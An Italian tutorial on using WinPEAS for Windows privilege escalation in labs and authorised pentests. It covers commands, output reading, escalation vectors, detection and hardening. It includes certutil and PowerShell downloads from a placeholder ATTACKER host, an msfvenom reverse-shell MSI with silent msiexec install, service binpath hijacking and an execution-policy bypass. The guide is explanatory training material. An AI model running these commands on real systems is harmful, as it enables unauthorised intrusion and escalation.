tools

WinPEAS: Comandi e Privilege Escalation su Windows

WinPEAS: Comandi e Privilege Escalation su Windows

WinPEAS per Windows privesc: comandi, enumerazione e output per individuare servizi vulnerabili, credenziali esposte e misconfig per la privilege escalation.

  • Pubblicato il 2026-04-01
  • Tempo di lettura: 6 min

WinPEAS su Windows: Come Eseguirlo e Analizzare i Risultati #

WinPEAS (Windows Privilege Escalation Awesome Script) è lo strumento della famiglia PEASS-ng che enumera configurazioni, servizi, permessi, credenziali salvate e file interessanti su un sistema Windows. Non sfrutta nulla da solo: ti segnala punti da verificare per capire se esiste un percorso da utente standard verso Administrator o SYSTEM.

Questa guida è pensata per lab, CTF e pentest autorizzati (Hack The Box, OSCP/OSCE, ambienti di test). Trovi: download, comandi, moduli, lettura dell’output, i vettori più comuni con verifica manuale e la parte di detection.

Comandi Essenziali #

ObiettivoComando
HelpwinPEASx64.exe -h
Tutti i check (default)winPEASx64.exe
Solo alcuni moduliwinPEASx64.exe systeminfo userinfo servicesinfo
Senza colori (no color)winPEASx64.exe notcolor
Senza bannerwinPEASx64.exe quiet
Includere info di dominiowinPEASx64.exe domain
Pausa tra i checkwinPEASx64.exe wait
Output su filewinPEASx64.exe notcolor > out.txt
Cercare più file con credenzialiwinPEASx64.exe searchall

Gli argomenti cambiano tra le release: controlla sempre -h sulla versione che hai scaricato.

Cos’è WinPEAS e Come Funziona #

WinPEAS fa parte del progetto PEASS-ng, lo stesso di LinPEAS per Linux. Esiste in tre forme:

VersioneCosa èNote
.exe (C#)La versione completa e più mantenutaRichiede .NET Framework 4.5.2 o superiore
.batScript batchNessuna dipendenza, ma meno check e nessun output colorato come l’exe
.ps1Script PowerShellDipende da policy di esecuzione e controlli come AMSI

Per le release .exe trovi build x64, x86 e Any CPU, offuscate e non offuscate: scegli in base all’architettura del target (echo %PROCESSOR_ARCHITECTURE%). Il README ufficiale avvisa che Defender può eliminare la build non offuscata.

Il suo posto nel flusso di lavoro: dopo aver ottenuto una shell da utente standard, durante la fase di enumeration di post-exploitation, prima di scegliere una tecnica di privilege escalation su Windows. Per la checklist manuale completa, vedi anche Windows Privilege Escalation.

Download e Trasferimento sul Target #

Scarica sempre dalla pagina Releases del repository ufficiale (peass-ng) e verifica il nome dell’asset: cambia tra le release.

bash
# Sul tuo host (Kali): scarica l'asset dalla pagina Releases e servilo
python3 -m http.server 80

Sul target hai due opzioni native, senza tool esterni:

powershell
# PowerShell
iwr http://ATTACKER/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe
cmd
:: CMD con certutil
certutil -urlcache -split -f http://ATTACKER/winPEASx64.exe C:\Windows\Temp\wp.exe

Su PowerShell e certutil trovi dettagli e alternative; se la rete è filtrata, guarda anche i LOLBins per il trasferimento file.

Esecuzione e Moduli #

cmd
:: Help (valido anche --help)
wp.exe -h

:: Esecuzione completa
wp.exe

:: Solo i moduli che ti servono
wp.exe systeminfo userinfo servicesinfo windowscreds

Moduli presenti nel codice sorgente attuale:

ModuloCosa controlla
systeminfoOS, patch, UAC, LSA, protezioni
userinfoUtenti, gruppi, privilegi del token
processinfoProcessi e permessi dei binari
servicesinfoServizi, ACL, path non quotati, binari modificabili
applicationsinfoSoftware installato, task pianificati, autorun
networkinfoConnessioni, share, firewall, interfacce
windowscredsCredenziali salvate, autologon, Wi-Fi, vault
browserinfoCronologia e dati dei browser
filesinfoFile interessanti
eventsinfoEventi di logon e PowerShell

Alcune opzioni sono più lente o fanno più rumore (searchall, -lolbas, -vulnpackages, -linpeas): usale solo quando servono. -vulnpackages invia nomi e versioni dei pacchetti a un servizio online di HackTricks: nei lab va bene, in un engagement reale verifica prima cosa è consentito.

WinPEAS senza colori (no color) #

L’argomento notcolor disattiva le sequenze ANSI: l’output è testo semplice, senza codici strani e senza evidenziazioni rosse/verdi.

cmd
wp.exe notcolor

Quando usarlo:

  • console che non supporta ANSI (vedi sotto)
  • output da salvare in un file di testo pulito
  • reverse shell o terminali che stampano caratteri illeggibili

Il compromesso: perdi l’evidenziazione che guida la lettura. Cerca a mano i punti importanti, per esempio con findstr:

cmd
wp.exe notcolor > C:\Windows\Temp\out.txt
findstr /i "unquoted modifiable password" C:\Windows\Temp\out.txt

Se invece vuoi salvare con i colori, apri il file con un viewer che li supporta (per esempio less -R su Linux).

Esiste anche winPEAS.bat, che non usa i colori come l’exe, ma ha meno check: non è l’equivalente di notcolor.

Come Leggere l’Output #

Il colore guida l’attenzione, non dà un verdetto. Secondo il README ufficiale:

  • Rosso: qualcosa di interessante dal punto di vista del pentester.
  • Verde: qualcosa di ben configurato dal punto di vista del difensore.

La legenda completa è nell’immagine del README di PEASS-ng: verificala sulla tua versione. Un risultato evidenziato non è una vulnerabilità confermata: va validato a mano (permessi reali, contesto, possibilità di riavviare il servizio, falsi positivi).

Output a colori non funziona #

Se vedi sequenze strane tipo ←[1;31m, la console non interpreta le sequenze ANSI. Dal README ufficiale:

cmd
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

Poi apri una nuova finestra CMD. In alternativa usa notcolor (vedi sezione “WinPEAS senza colori”).

Vettori Principali (con Verifica Manuale) #

Gli output seguenti sono esempi sintetici costruiti per spiegare il formato: non sono acquisizioni reali.

Unquoted Service Path #

Un servizio con PathName non tra virgolette e con spazi:

text
C:\Apps\Update Manager\service.exe

Windows prova in ordine questi percorsi:

text
C:\Apps\Update.exe
C:\Apps\Update Manager\service.exe

Per sfruttarlo non basta vedere il path: ti serve scrittura nella directory dove metti il file, cioè C:\Apps e non C:\Apps\Update Manager. Verifica prima la directory giusta:

cmd
sc qc UpdateService
icacls "C:\Apps"

Se C:\Apps è scrivibile dal tuo utente (per esempio BUILTIN\Users:(W)), nel lab puoi posizionare Update.exe e riavviare il servizio. Servono anche i diritti per fermare/avviare il servizio o un reboot. Le directory di sistema come C:\Program Files non sono normalmente scrivibili da utenti standard: se il path passa da lì, di solito il vettore non è sfruttabile.

Weak Service Permissions #

WinPEAS segnala servizi che l’utente può modificare. Verifica con sc qc e con gli ACL del servizio, poi nel lab:

cmd
sc config WeakService binpath= "C:\Windows\Temp\svc.exe"
sc stop WeakService
sc start WeakService

Nota: un servizio si aspetta un binario di tipo servizio (msfvenom -f exe-service); un .exe normale parte ma il servizio va in timeout. Servono i diritti SERVICE_CHANGE_CONFIG e quelli per avvio/stop.

AlwaysInstallElevated #

Il vettore è valido solo se entrambe le chiavi sono a 1:

cmd
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Se lo sono, nel lab un MSI viene eseguito con privilegi elevati:

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi -o shell.msi
cmd
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi

Credenziali Salvate #

cmdkey /list mostra solo che esiste una voce salvata, non la password:

cmd
cmdkey /list

Se un target è salvato con un utente privilegiato, puoi provare runas /savecred /user:UTENTE cmd.exe, ma funziona solo se la credenziale salvata corrisponde a quell’utente. Per estrarre segreti guarda credential dumping, Mimikatz, LaZagne e, per le credenziali protette da DPAPI, DPAPI e SharpDPAPI, sempre in lab.

Privilegi del Token #

Nella sezione userinfo WinPEAS elenca i privilegi del token. Se ne trovi uno abilitato, approfondisci quello specifico:

PrivilegioGuida
SeImpersonatePrivilegeSeImpersonatePrivilege
SeAssignPrimaryTokenPrivilegeSeAssignPrimaryTokenPrivilege
SeDebugPrivilegeSeDebugPrivilege
SeBackupPrivilege / SeRestorePrivilegeSeBackupPrivilege e SeRestorePrivilege
SeTakeOwnershipPrivilegeSeTakeOwnershipPrivilege
SeLoadDriverPrivilegeSeLoadDriverPrivilege

Un privilegio presente ma disabilitato nel token non è utilizzabile così com’è: verifica lo stato con whoami /priv.

Scenario di Lab: Dall’Enumeration alla Verifica #

  1. Shell da utente standard sul target del lab.
  2. wp.exe systeminfo userinfo servicesinfo windowscreds e salva l’output.
  3. Per ogni riga rossa: conferma a mano (ACL con icacls, config con sc qc, registry con reg query).
  4. Scegli un solo vettore confermato, sfruttalo, verifica con whoami /all.
  5. Solo dopo, passa al credential access o al movimento laterale (PsExec).

Se hai accesso a un dominio, la parte di relazioni AD non è di WinPEAS: usa BloodHound. WinPEAS guarda l’host locale (l’opzione domain aggiunge solo qualche informazione di dominio).

WinPEAS vs Altri Strumenti #

Non sono strumenti in competizione: dipende cosa ti serve.

StrumentoA cosa serveQuando sceglierlo
WinPEASEnumeration ampia di misconfiguration locali, output già evidenziatoPrima passata completa su un host
SeatbeltControlli mirati di sicurezza host in C#Controlli specifici e leggibili da parsare
SharpUpControlli di privilege escalation (porting di PowerUp)Verifica rapida dei vettori classici
JAWSEnumeration in PowerShell puroTarget vecchi con solo PowerShell
WinEnumEnumeration Windows da scriptPanoramica rapida dell’host
LinPEASStessa idea per LinuxTarget Linux

Confrontali sulla tua versione e nel tuo lab: copertura e rumore cambiano con le release. Se hai una sessione Metasploit, puoi affiancare un local exploit suggester, ma resta un suggerimento da verificare, non un exploit automatico.

Detection: Cosa Vede il Blue Team #

WinPEAS è rumoroso per natura: legge molto in poco tempo. Cosa osservare lato difensore:

TelemetriaCosa cercare
Creazione processi (Event 4688, Sysmon 1)Binario sconosciuto in Temp che lancia sc, reg, cmdkey, icacls, whoami
Accessi a registro e serviziRaffiche di query su chiavi di servizi, Installer, Winlogon, credenziali
Alert Defender/EDRRilevamento della firma di PEASS o di PowerShell caricato in memoria
Script PowerShell (Event 4104, AMSI)Script block logging con contenuto del .ps1
Cambi di configurazione (7045, 4697)Servizi creati o modificati dopo l’enumeration
ReteDownload di winPEAS*.exe da host interni o web server anomali

Se sei in un lab con Blue Team, usa questi eventi per capire cosa lascia il tool. Per l’hardening: rimuovi AlwaysInstallElevated, quota i path dei servizi, restringi gli ACL su servizi e directory, elimina credenziali salvate non necessarie e abilita logging di processi e PowerShell.

Risoluzione dei Problemi #

ProblemaCausa probabileCosa fare
Non parteArchitettura sbagliata o .NET < 4.5.2Controlla %PROCESSOR_ARCHITECTURE% e la versione di .NET
Caratteri strani nell’outputConsole senza ANSIVirtualTerminalLevel oppure notcolor
Troppo outputEsecuzione completaUsa moduli singoli (servicesinfo, windowscreds)
File cancellato subitoAntivirus/DefenderNel lab usa una build diversa o un’esclusione autorizzata; in un engagement segui le regole concordate
.ps1 non parteExecution Policy o AMSIpowershell -ep bypass nel lab; l’errore può dipendere dai controlli, non dal tool

Checklist #

  • Architettura e .NET verificati prima dell’esecuzione
  • Download dal repository ufficiale (peass-ng) e -h controllato
  • Moduli limitati a quello che serve
  • Ogni riga rossa verificata a mano
  • Un solo vettore alla volta, confermato con whoami /all
  • Output salvato e dati sensibili protetti

FAQ #

WinPEAS fa privilege escalation da solo? No. Enumera e segnala. L’escalation la fai tu dopo la verifica manuale.

Serve essere admin per eseguirlo? No, parte come utente standard. Alcuni check restituiscono più dati con privilegi più alti.

Cosa significa un risultato rosso? Che è interessante per un pentester. Non è una vulnerabilità confermata.

Quanto tempo richiede? Dipende dal sistema e dai moduli attivi. Con filesinfo o searchall è molto più lento.

Qual è la differenza tra WinPEAS e LinPEAS? WinPEAS è per Windows, LinPEAS per Linux. Stessa famiglia, controlli diversi.

WinPEAS lascia tracce? Sì: esecuzione del processo, query di registro e servizi, file su disco, eventi di logging. Non dare per scontato che sia invisibile.

È legale? Usalo solo su sistemi di tua proprietà o con autorizzazione scritta, o in lab dedicati.

Risorse #

Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

#winpeas #windows privilege escalation #windows pentesting #post exploitation

lascia un messaggio

Non sono un robot